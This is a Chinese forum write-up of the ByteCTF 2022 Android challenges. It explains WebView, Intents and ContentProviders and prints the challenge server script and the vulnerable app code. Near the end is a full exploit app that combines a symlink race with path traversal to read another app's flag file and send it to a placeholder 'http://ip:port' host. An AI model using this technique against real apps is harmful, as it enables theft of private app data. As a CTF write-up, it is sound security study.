[原创]ByteCTF2022 mobile系列
2022-12-1 22:48:35 Author: bbs.pediy.com(查看原文) 阅读量:18 收藏

创建WebView拥有两种方法,第一种方法是WebView webview = new WebView(getApplicationContext());创建;第二种是在xml文件内放在布局中;下面以第二种方法为例

写完之后运行,发现报错,无法打开网页(net::ERR_CLEARTEXT_NOT_PERMITTED), 经过搜索在manifest内设置usesCleartextTraffic为true即可

将一个url解析成uri对象的操作是Uri.parse(“http://www.baidu.com”),就是将百度网址解析成一个uri对象,可以对其进行其他的各种操作了

intent是各大组件之间通信的桥梁,Android有四个组件,分别是Activity,Service,Broadcast Receiver,Content Provider;组件之间可以进行通信,互相调用,从而形成一个app

每个应用程序都有若干个Activity组成,每一个Activity都是一个应用程序与用户进行交互的窗口,呈现不同的交互界面。因为每一个Acticity的任务不一样,所以经常互在各个Activity之间进行跳转,在Android中这个动作是靠Intent来完成的。通过startActivity()方法发送一个Intent给系统,系统会根据这个Intent帮助你找到对应的Activity,即使这个Activity在其他的应用中,也可以用这种方法启动它。

intent包括两种,一是显式另一个是隐式。显式intent通常是已经知道要启动Activity的包名,多发于同一个app内;隐式intent只知道要执行的动作是什么,比如拍照,录像,打开一个网站。

那么隐式的intent如何启动一个组件呢呢?如果没有约束的话可能会造成一些后果,所以在Manifest文件内定义了intent-filter标签,如果组件中的intentfilter和intent中的intentfilter匹配,系统就会启动该组件,并把intent传给它;若有多个组件都符合,系统变会弹出一个窗口,任我们选择启动该intent的应用(app)。

该属性是显式intent特有的,表明要启动的类的全称,包括包名和类名。有它就意味着只有Component name匹配上的那个组件才能接收你发送出来的显式intent。

一个activity是否能被其他app的组件启动取决于"android:exported",true能,false不能。如果是false,这个activity只能被相同app的组件启动,或者是相同user ID的app的组件启动。

一个字符串变量,用来指定Intent要执行的动作类别(比如:view or pick)。你可以在你的应用程序中自定义action,但是大部分的时候你只使用在Intent中定义的action,你可以通过Intent的setAction()方法设置action。

一个Uri对象,对应着一个数据。只设置数据的URI可以调用setData()方法,只设置MIME类型可以调用setType()方法,如果要同时设置这两个可以调用setDataAndType()。

一个包含Intent额外信息的字符串,表示哪种类型的组件来处理这个Intent。任何数量的Category 描述都可以添加到Intent中,你可以通过调用addCagegory()方法来设置category。

Intent可以携带的额外key-value数据,你可以通过调用putExtra()方法设置数据,每一个key对应一个value数据。你也可以通过创建Bundle对象来存储所有数据,然后通过调用putExtras()方法来设置数据。

用来指示系统如何启动一个Activity(比如:这个Activity属于哪个Activity栈)和Activity启动后如何处理它(比如:是否把这个Activity归为最近的活动列表中)。

运行run.sh,我自己启动了一遍docker环境,修改了一些部分,最终发现是在server.py文件的setup_emulator()函数中没有模拟出来手机,只是创建了一个AVD环境,并没有emulator成功

adb broadcast便是将服务器上的flag传给apk的FlagReceiver,通过adb shell进入手机,可以查看到flag被存到了"files/flag"内

之前有一个疑问,便是manifest文件将Flagreceiver设置为exported为false和设置了intent-filter,防止外界app进行干扰,那么是怎么将flag传递给FlagReceiver呢?

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

import os   

import random

import subprocess

import sys

import time

import requests

import uuid

from hashlib import *

import zipfile

import signal

import string

isMacos = len(sys.argv) == 2

wordlist = string.ascii_letters

difficulty = 4

random_hex = lambda x: ''.join([random.choice(wordlist) for _ in range(x)])

ADB_PORT = int(random.random() * 60000 + 5000)

EMULATOR_PORT = 36666 if isMacos else (ADB_PORT + 1)

EXPLOIT_TIME_SECS = 30

APK_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), "app-debug.apk")

FLAG_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), "flag")

HOME = "/home/user"

VULER = "com.bytectf.silverdroid"

ENV = {}

ENV.update(os.environ)

if not isMacos:

    ENV.update({

        "ANDROID_ADB_SERVER_PORT": "{}".format(ADB_PORT),

        "ANDROID_SERIAL": "emulator-{}".format(EMULATOR_PORT),

        "ANDROID_SDK_ROOT": "/opt/android/sdk",

        "ANDROID_SDK_HOME": HOME,

        "ANDROID_PREFS_ROOT": HOME,

        "ANDROID_EMULATOR_HOME": HOME + "/.android",

        "ANDROID_AVD_HOME": HOME + "/.android/avd",

        "JAVA_HOME": "/usr/lib/jvm/java-11-openjdk-amd64",

        "PATH": "/opt/android/sdk/cmdline-tools/latest/bin:/opt/android/sdk/emulator:/opt/android/sdk/platform-tools:/bin:/usr/bin:" + os.environ.get("PATH", "")

    })

def print_to_user(message):

    print(message)

    sys.stdout.flush()

def download_file(url):

    try:

        download_dir = "download"

        if not os.path.isdir(download_dir):

            os.mkdir(download_dir)

        tmp_file = os.path.join(download_dir, time.strftime("%m-%d-%H:%M:%S", time.localtime())+str(uuid.uuid4())+'.apk')

        f = requests.get(url)

        if len(f.content) > 10*1024*1024:

            return None

        with open(tmp_file, 'wb') as fp:

            fp.write(f.content)

        return tmp_file

    except:

        return None

def proof_of_work():

    print_to_user(f"First, to ensure that the service will not be dos, please answer me a question.")

    prefix = random_hex(6)

    suffix = random_hex(difficulty)

    targetHash = sha256((prefix+suffix).encode()).hexdigest()

    print_to_user(f'Question: sha256(("{prefix}"+"{"x"*difficulty}").encode()).hexdigest() == "{targetHash}"')

    print_to_user(f'Please enter the {"x"*difficulty} to satisfy the above equation:')

    proof = sys.stdin.readline().strip()

    return sha256((prefix+proof).encode()).hexdigest() == targetHash

def check_apk(path):

    try:

        z = zipfile.ZipFile(path)

        for f in z.filelist:

            if f.filename == "AndroidManifest.xml":

                return True

        return False

    except:

        return False

def setup_emulator():

    subprocess.call(

        "avdmanager" +

        " create avd" +

        " --name 'pixel_xl_api_30'" +

        " --abi 'google_apis/x86_64'" +

        " --package 'system-images;android-30;google_apis;x86_64'" +

        " --device pixel_xl" +

        " --force" +

        ("" if isMacos  else " > /dev/null 2> /dev/null"),

        env=ENV,

        close_fds=True,

        shell=True)

    return subprocess.Popen(

        "emulator" +

        " -avd pixel_xl_api_30" +

        " -no-cache" +

        " -no-snapstorage" +

        " -no-snapshot-save" +

        " -no-snapshot-load" +

        " -no-audio" +

        " -no-window" +

        " -no-snapshot" +

        " -no-boot-anim" +

        " -wipe-data" +

        " -accel on" +

        " -netdelay none" +

        " -no-sim" +

        " -netspeed full" +

        " -delay-adb" +

        " -port {}".format(EMULATOR_PORT) +

        ("" if isMacos  else " > /dev/null 2> /dev/null ") +

        "",

        env=ENV,

        close_fds=True,

        shell=True,

        preexec_fn=os.setsid)

def adb(args, capture_output=True): 

    return subprocess.run(

        ['adb'] + (['-s', 'emulator-36666']+args if isMacos else args),

        env=ENV,

        close_fds=True,

        capture_output=capture_output).stdout

def adb_install(apk):

    adb(["install", "-t", apk])

def adb_activity(activity, extras=None, wait=False, data=None):

    args = ["shell", "am", "start"]

    if wait:

        args += ["-W"]

    args += ["-n", activity]

    if extras:

        for key in extras:

            args += ["-e", key, extras[key]]

    if data:

        args += ["-d", data]

    adb(args)

def adb_broadcast(action, receiver, extras=None):

    args = ["shell", "su", "root", "am", "broadcast", "-W", "-a", action, "-n", receiver]

    if extras:

        for key in extras:

            args += ["-e", key, extras[key]]

    adb(args)

print_to_user(r

)

if not isMacos:

    if not proof_of_work():

        print_to_user("Please proof of work again, exit...\n")

        exit(-1)

print_to_user("Please enter your poc url:")

url = sys.stdin.readline().strip()

if url.strip('"') == url:

    url = f'"{url}"'

if not url.startswith('"https://'):

    print_to_user("Invalid poc url.\n")

    exit(-1)

print_to_user("Preparing android emulator. This may takes about 2 minutes...\n")

emulator = setup_emulator()

adb(["wait-for-device"])

adb_install(APK_FILE)

with open(FLAG_FILE, "r") as f:

    adb_broadcast(f"com.wuhengctf.SET_FLAG", f"{VULER}/.FlagReceiver", extras={"flag": f.read()})

adb_activity(f"{VULER}/.MainActivity", wait=True, data=url)

print_to_user("Launching! Let your apk fly for a while...\n")

if isMacos:

    input('wait for debug')

else:

    time.sleep(EXPLOIT_TIME_SECS)

print_to_user("exiting......")

try:

    os.killpg(os.getpgid(emulator.pid), signal.SIGTERM)

    os.killpg(os.getpgid(os.getpid()), signal.SIGTERM)

except:

    pass

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

package com.bytectf.silverdroid;

import android.net.Uri;

import android.os.Bundle;

import android.util.Log;

import android.webkit.WebResourceRequest;

import android.webkit.WebResourceResponse;

import android.webkit.WebView;

import android.webkit.WebViewClient;

import androidx.appcompat.app.AppCompatActivity;

import java.io.File;

import java.io.FileInputStream;

import java.io.IOException;

import java.util.HashMap;

public class MainActivity extends AppCompatActivity {

    @Override  // androidx.fragment.app.FragmentActivity

    protected void onCreate(Bundle savedInstanceState) {

        super.onCreate(savedInstanceState);

        this.setContentView(0x7F0B001C);  // layout:activity_main

        Uri uri0 = this.getIntent().getData(); //获得intent所传过来的data参数,可以来自另一个app

        if(uri0 != null) {   //若参数不为null

            WebView webView = new WebView(this.getApplicationContext());//新建的页面取得是整个app的context

            webView.setWebViewClient(new WebViewClient() { //当从一个网页跳转到另外一个网页时,我们希望目标网页仍然在当前的webview中显示,而不是在浏览器中打开

                @Override  // android.webkit.WebViewClient

                public boolean shouldOverrideUrlLoading(WebView view, String url) {

                  //当shouldOverrideUrlLoading返回值为true,拦截webview加载url

                    try {

                        Uri uri0 = Uri.parse(url); //解析url

                        Log.e("Hint", "Try to upload your poc on free COS: https://cloud.tencent.com/document/product/436/6240");

                        if(uri0.getScheme().equals("https")) { //scheme必须是https

                            return !uri0.getHost().endsWith(".myqcloud.com");//若是以.myqcloud.com结尾,返回true,再取反返回false,不会拦截webview加载url

                        }

                    }

                    catch(Exception e) {

                        e.printStackTrace();

                        return true;

                    }

                    return true;

                }

            });

            webView.setWebViewClient(new WebViewClient() {

                @Override  // android.webkit.WebViewClient

                public WebResourceResponse shouldInterceptRequest(WebView view, WebResourceRequest request) {  //拦截url,js,css等响应阶段,拦截所有的url请求,若返回非空,则不再进行网络资源请求,而是使用返回的资源数据

                    FileInputStream inputStream;

                    Uri uri0 = request.getUrl();  //获得js请求的request   

                    if(uri0.getPath().startsWith("/local_cache/")) { //检查域名后的path是否为/local_cache/开头

                        File cacheFile = new File(MainActivity.this.getCacheDir(), uri0.getLastPathSegment()); //只是在内存中创建File文件映射对象,而并不会在硬盘中创建文件,新建file以cache为目录,uri0的最后一个地址段

                      //getCacheDir获取手机中/data/data/包名/cache目录;

                        if(cacheFile.exists()) { //若映射的文件真实存在,则进入下面循环

                            try {

                                inputStream = new FileInputStream(cacheFile);//其将文件内容读取到了内存inputStream内,之后可以进行读取操作

                            }

                            catch(IOException e) {

                                return null;

                            }

                            HashMap headers = new HashMap();

                            headers.put("Access-Control-Allow-Origin", "*");

                            return new WebResourceResponse("text/html", "utf-8", 200, "OK", headers, inputStream);  //返回响应

                        }

                    }

                    return super.shouldInterceptRequest(view, request);

                }

            });

            this.setContentView(webView); //

            webView.getSettings().setJavaScriptEnabled(true); //设置WebView属性,能够执行Javascript脚本

            webView.loadUrl("https://bytectf-1303079954.cos.ap-nanjing.myqcloud.com/jump.html?url=" + uri0);

        }

    }

}

经过分析可知,MainActivity先loadUrl,从判断传入的intent是否符合https开头,以.myqcloud.com结尾,若符合;在请求js脚本的内容时会拦截其响应,对js脚本的response地址进行检查,则返回响应时修改响应数据。

经过分析得知我们传入的poc必须以"https"开头,在webview中处理时以"myqcloud.com"结尾,但是在jump.html跳转页面时不包含myqcloud,需要用到字符转换之类.

由于是赛后复现,观察其他师傅的wp发现,我们js脚本中的请求url必须包含有flag文件,我自己也尝试过在几个服务器内部部署一个flag文件,可能是由于docker启动的问题,导致网络不稳定,一直请求不到

打开apk之前,先大概看了一眼docker和启动环境的脚本,和Silver Droid的大致一样,其中server.py的实现便不同,大致便是由攻击者实现一个恶意apk,将题目提供的apk和自己实现的apk均安装到模拟器内,启动恶意apk的MainActivity来获得flag

MainActivity的exported属性为true,所以可以通过外部app来启动MainActivity,具体利用思路可以是编写的恶意apk自带uri来访问受害者apk的flag文件,然后受害者app通过setResult将flag回带给恶意apk。

想要读取flag文件,需要利用fileprovider,可知authority是com.bytectf.bronzedroid.fileprovider,所以intent的data为content://com.bytectf.bronzedroid.fileprovider/root/data/data/com.bytectf.bronzedroid/files/flag

如何通过一套标准及统一的接口获取其他应用程序暴露的数据?Android提供了ContentResolver,外界的程序可以通过ContentResolver接口访问ContentProvider提供的数据。ContentResolver是通过URI来获取Provider所提供的数据

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

package com.bytectf.golddroid;

import android.content.ContentProvider;

import android.content.ContentValues;

import android.database.Cursor;

import android.net.Uri;

import android.os.ParcelFileDescriptor;

import java.io.File;

import java.io.FileNotFoundException;

import java.io.IOException;

public class VulProvider extends ContentProvider { //

    @Override  // android.content.ContentProvider

    public int delete(Uri uri, String selection, String[] selectionArgs) {

        return 0;

    }

    @Override  // android.content.ContentProvider

    public String getType(Uri uri) {

        return null;

    }

    @Override  // android.content.ContentProvider

    public Uri insert(Uri uri, ContentValues values) {

        return null;

    }

    @Override  // android.content.ContentProvider

    public boolean onCreate() {

        return false;

    }

    @Override  // android.content.ContentProvider

    public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {

        File file0 = this.getContext().getExternalFilesDir("sandbox");

      // file0 = /sdcard/Android/data/com.bytectf.golddroid/files/sandbox/

        File file = new File(this.getContext().getExternalFilesDir("sandbox"), uri.getLastPathSegment()); //

        // file = /sdcard/Android/data/com.bytectf.golddroid/files/sandbox/uri.getLastPathSegment()

          try {

            if(!file.getCanonicalPath().startsWith(file0.getCanonicalPath())) { //防止目录穿越,getCanonicalPath会将目录中存在./和../的路径全部转化成没有./和../的路径,下面例子

              //Path: workspace/test/../../../.././test1.txt

             //getAbsolutePath:/Users/eeee/Desktop/CTF/ByteCTF/Gold_Droid/workspace/test/../../../.././test1.txt

             //getCanonicalPath: /Users/eeee/Desktop/CTF/test1.txt

                throw new IllegalArgumentException();

            }

        }

        catch(IOException e) {

            e.printStackTrace();

        }

        return ParcelFileDescriptor.open(file, 0x10000000); //0x10000000代表只读

    }

    @Override  // android.content.ContentProvider

    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {

        return null;

    }

    @Override  // android.content.ContentProvider

    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {

        return 0;

    }

}

如果是link文件,file.getAbsolutePath()是链接文件的路径;file.getCanonicalPath是实际文件的路径(所指向的文件路径)。

如果不关闭的话,file.getCanonicalPath是不会得到文件的软链接的路径,所以导致file.getCanonicalPath().startsWith(file0.getCanonicalPath())这个if判断过不去。。。。。

那么我一开始想不到我们编写的apk如何与目标apk进行交流,如何启动目标apk的VulActivity,一方面需要请求受害者apk的VulProvider,另一方面需要进行线程竞争和软链接,当软链接合法的时候通过openFile的检测,进入ParcelFileDescriptor.open,这时如果凑巧非法链接到了flag文件,便可以得到flag了。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

package com.bytectf.pwngolddroid;

import androidx.appcompat.app.AppCompatActivity;

import android.content.ContentResolver;

import android.net.Uri;

import android.os.Bundle;

import android.util.Log;

import java.io.BufferedReader;

import java.io.IOException;

import java.io.InputStream;

import java.net.HttpURLConnection;

import java.net.URL;

public class MainActivity extends AppCompatActivity {

    String symlink;

    public void httpGet(String msg) {

        new Thread(new Runnable() {

            @Override

            public void run() {

                HttpURLConnection connection = null;

                BufferedReader reader = null;

                try {

                    Log.e("in_httpGet","inHttpGet1");

                    URL url = new URL("http://ip:port/flag?flag=" + msg); //这里可以写自己博客的ip和端口,对其进行访问,然后查看日志,我的日志在/var/log/nginx/access.log

                    Thread.sleep(1);

                    Log.e("in_httpGet","inHttpGet2");

                    connection = (HttpURLConnection) url.openConnection();

                    Thread.sleep(1);

                    Log.e("in_httpGet","inHttpGet3");

                    connection.setRequestMethod("GET");

                    Thread.sleep(1);

                    Log.e("in_httpGet","inHttpGet4");

                    connection.getInputStream();

                    Thread.sleep(1);

                    Log.e("httpget succeed","http_get succeed");

                } catch (IOException | InterruptedException e) {

                    e.printStackTrace();

                }

            }

        }).start();

    }

    private String readUri(Uri uri) {

        InputStream inputStream = null;

        try {

            ContentResolver contentResolver = getContentResolver();

            inputStream = contentResolver.openInputStream(uri);

            if (inputStream != null) {

                byte[] buffer = new byte[1024];

                int result;

                String content = "";

                while ((result = inputStream.read(buffer)) != -1) {

                    content = content.concat(new String(buffer, 0, result));

                }

                return content;

            }

        } catch (IOException e) {

            Log.e("receiver", "IOException when reading uri", e);

        } catch (IllegalArgumentException e) {

            Log.e("receiver", "IllegalArgumentException", e);

        } finally {

            if (inputStream != null) {

                try {

                    inputStream.close();

                } catch (IOException e) {

                    Log.e("receiver", "IOException when closing stream", e);

                }

            }

        }

        return null;

    }

    @Override

    protected void onCreate(Bundle savedInstanceState) {

        super.onCreate(savedInstanceState);

        setContentView(R.layout.activity_main);

        String root = getApplicationInfo().dataDir;

        symlink = root + "/symlink";

        try {

            Runtime.getRuntime().exec("chmod -R 777 " + root).waitFor();

        } catch (InterruptedException e) {

            e.printStackTrace();

        } catch (IOException e) {

            e.printStackTrace();

        }

        String path = "content://slipme/" + "..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F" + "data%2Fdata%2Fcom.bytectf.pwngolddroid%2Fsymlink";

        //String path = "content://slipme/sdcard/Android/data/com.bytectf.golddroid/files/sandbox/file1";

        new Thread(() -> {

            while (true) {

                try {

                    Thread.sleep(1);

                    Runtime.getRuntime().exec("ln -sf /sdcard/Android/data/com.bytectf.golddroid/files/sandbox/file1 " + symlink).waitFor();

                } catch (InterruptedException e) {

                    e.printStackTrace();

                } catch (IOException e) {

                    e.printStackTrace();

                }

            }

        }).start();

        new Thread(() -> {

            while (true) {

                try {

                    Thread.sleep(1);

                    Runtime.getRuntime().exec("ln -sf /data/data/com.bytectf.golddroid/files/flag " + symlink).waitFor();

                } catch (InterruptedException e) {

                    e.printStackTrace();

                } catch (IOException e) {

                    e.printStackTrace();

                }

            }

        }).start();

        new Thread(() -> {

            while (true) {

                try {

                    Thread.sleep(10);

                } catch (InterruptedException e) {

                    e.printStackTrace();

                }

                String data = readUri(Uri.parse(path));

                if(data.length()>0){

                    Log.e("has_data",data);

                    httpGet(data);

                }

            }

        }).start();

    }

}

参考链接:
https://blog.wm-team.cn/index.php/archives/28/
http://gityuan.com/2016/02/27/am-command/
https://blog.csdn.net/Palmer9/article/details/122420707
https://bytedance.feishu.cn/docx/doxcnWmtkIItrGokckfo1puBtCh
https://juejin.cn/post/6844903938790014990
https://shvu8e0g7u.feishu.cn/docs/doccndYygIwisrk0FGKnKvE0Jhg
https://support.google.com/faqs/answer/7496913


文章来源: https://bbs.pediy.com/thread-275379.htm
如有侵权请联系:admin#unsafe.sh